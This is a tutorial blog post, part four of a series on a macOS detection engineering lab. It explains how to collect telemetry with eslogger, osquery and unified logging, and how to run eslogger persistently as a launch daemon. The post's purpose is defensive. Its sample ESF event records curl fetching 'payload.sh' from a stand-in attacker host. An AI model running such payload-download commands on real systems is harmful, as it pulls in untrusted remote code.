• 5 min read

Building a macOS Detection Engineering Lab — Part 4: Collecting macOS Logs

Now for the fun part — getting telemetry out of your macOS VM. This is where macOS detection engineering has historically been painful, but Apple's Endpoint Security Framework (ESF) has changed the game.

The Logging Landscape

macOS has several logging sources:

SourceWhat It CapturesDetection Value
Unified LoggingEverything (verbose)Low signal-to-noise
ESF (eslogger)Security-relevant eventsHigh — this is what you want
osqueryPoint-in-time state + some eventsMedium — good for queries
Audit logsSystem call auditingMedium — legacy approach

For detection engineering, ESF via eslogger is the sweet spot.

Endpoint Security Framework (ESF)

ESF is Apple’s modern security telemetry API — think of it as “Sysmon for macOS.” It provides:

  • Process events: exec, fork, exit
  • File events: create, write, unlink, rename, open, …
  • Network / IPC: names vary by OS version — run eslogger --list-events (e.g. uipc_connect, newer nw_* events)
  • Auth / BTM: authentication, btm_launch_item_add, …
  • And more: mount, signal, setextattr, etc.

Run eslogger --list-events on your guest OS — the supported short names are the source of truth.

eslogger (Built-in, macOS 13+)

Starting with macOS Ventura (13), Apple includes eslogger — a command-line tool to stream ESF events:

# Basic usage (requires root)
sudo eslogger exec

# Multiple event types
sudo eslogger exec write create rename unlink

# JSON is the only supported format (default). --format json is optional but fine.
sudo eslogger exec write create rename

# Stream to a file (JSON Lines)
sudo eslogger exec write create rename > /var/log/esf_events.json

Event Types Worth Capturing

For detection engineering, focus on these:

sudo eslogger \
  exec \           # Process execution
  fork \           # Process forking
  exit \           # Process exit
  open \           # File opens (can be noisy)
  write \          # File writes
  create \         # File creation
  rename \         # File renames
  unlink \         # File deletion
  link \           # Hard links
  setextattr \     # Extended attributes (quarantine flags)
  setflags \       # File flags
  setmode \        # Permission changes
  setowner \       # Ownership changes
  signal \         # Signals sent between processes
  --format json

Making eslogger Persistent

Create a launch daemon to run eslogger at boot:

sudo tee /Library/LaunchDaemons/com.lab.eslogger.plist << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.lab.eslogger</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/bin/eslogger</string>
        <string>exec</string>
        <string>fork</string>
        <string>write</string>
        <string>create</string>
        <string>rename</string>
        <string>unlink</string>
        <string>--format</string>
        <string>json</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
    <key>StandardOutPath</key>
    <string>/var/log/esf_events.json</string>
    <key>StandardErrorPath</key>
    <string>/var/log/esf_errors.log</string>
</dict>
</plist>
EOF

# Load the daemon (modern macOS prefers bootstrap; load still often works)
sudo launchctl bootstrap system /Library/LaunchDaemons/com.lab.eslogger.plist 2>/dev/null   || sudo launchctl load /Library/LaunchDaemons/com.lab.eslogger.plist

# Remember: grant Full Disk Access to /usr/bin/eslogger or this daemon will fail silently / error out

osquery (Cross-Platform SQL Interface)

osquery provides a SQL interface to query system state and some events:

# Install
brew install osquery

# Interactive mode
osqueryi

# Query running processes
> SELECT pid, name, path, cmdline FROM processes WHERE name LIKE '%curl%';

# Query listening ports
> SELECT * FROM listening_ports;

# Query login history
> SELECT * FROM last;

Event Tables (Daemon Mode)

osquery can also capture events when running as a daemon:

# Start daemon
sudo osqueryctl start

# Configure in /var/osquery/osquery.conf

Relevant event tables:

  • process_events — Process execution
  • file_events — File changes (requires FIM config)
  • socket_events — Network connections
  • user_events — User logins

osquery is great for incident response queries but less complete than ESF for real-time detection.


Native Unified Logging

macOS’s unified logging captures everything, which makes it noisy but comprehensive:

# Process execution (via execpolicy)
log show --predicate 'subsystem == "com.apple.execpolicy"' --last 1h

# Authorization events
log show --predicate 'subsystem == "com.apple.Authorization"' --last 1h

# File quarantine (downloads)
log show --predicate 'subsystem == "com.apple.LaunchServices"' --last 1h

# Network connections
log show --predicate 'subsystem == "com.apple.networkd"' --last 1h

# Stream live
log stream --predicate 'subsystem == "com.apple.execpolicy"'

Unified logging is useful for deep-dive investigations but too verbose for continuous monitoring.


Sample ESF Event

Real eslogger output is richer (and less friendly) than most blog diagrams. For exec, event_type is a number (notify exec is typically 9), the initiating process is under process, and the executed target is under event.exec.target. Args live at event.exec.args. Trimmed example:

{
  "schema_version": 1,
  "event_type": 9,
  "time": "2026-01-30T15:30:00.000Z",
  "process": {
    "executable": { "path": "/usr/libexec/xpcproxy" },
    "signing_id": "com.apple.xpc.proxy"
  },
  "event": {
    "exec": {
      "args": ["curl", "-O", "http://evil.example/payload.sh"],
      "target": {
        "executable": { "path": "/usr/bin/curl" },
        "signing_id": "com.apple.curl",
        "is_platform_binary": true,
        "ppid": 1
      }
    }
  }
}

Inspect a live event with sudo eslogger exec | head -n 1 | jq . on your lab VM before you write detections — field paths matter.


Recommendation

For a detection lab, run eslogger with key event types:

sudo eslogger exec fork write create rename unlink signal --format json > /var/log/esf_events.json

Then ship /var/log/esf_events.json to Splunk (covered in Part 5).


Next Steps

You’ve got telemetry flowing. Now let’s set up somewhere to send it and build detections.

Next: Part 5 — Splunk Attack Range & Detection Workflow →